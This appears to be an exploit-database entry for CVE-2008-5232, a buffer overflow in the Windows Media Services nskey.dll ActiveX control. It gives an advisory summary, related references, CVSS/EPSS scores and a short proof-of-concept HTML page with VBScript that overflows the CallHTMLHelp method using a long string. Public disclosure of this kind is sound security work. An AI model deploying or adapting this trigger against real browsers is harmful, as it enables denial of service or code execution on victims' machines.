Microsoft Windows Media Services 'nskey.dll' 4.1 - ActiveX Control Remote Buffer Overflow

🗓️ 22 Aug 2008 00:00:00Reported by Jeremy BrownType

Microsoft Windows Media Services 'nskey.dll' 4.1 - ActiveX Control buffer-overflow vulnerabilit

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2008-5232	22 Aug 200800:00	–	circl
CVE	CVE-2008-5232	26 Nov 200801:00	–	cve
Cvelist	CVE-2008-5232	26 Nov 200801:00	–	cvelist
NVD	CVE-2008-5232	26 Nov 200801:30	–	nvd
OpenVAS	Microsoft Windows Media Services nskey.dll ActiveX BOF Vulnerability	27 Nov 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
OpenVAS	Microsoft Windows Media Services nskey.dll ActiveX BOF Vulnerability	27 Nov 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
Prion	Buffer overflow	26 Nov 200801:30	–	prion

source: https://www.securityfocus.com/bid/30814/info

The Microsoft Windows Media Services ActiveX control is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the affected ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

'nskey.dll' 4.1.00.3917 is vulnerable; other versions may also be affected.

<html><body>

<object id=target classid=clsid:2646205B-878C-11D1-B07C-0000C040BCDB></object>
<script language=vbscript>

arg1=String(9752, "A")
target.CallHTMLHelp arg1

</script>
</body></html>

16 Mar 2014 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.32209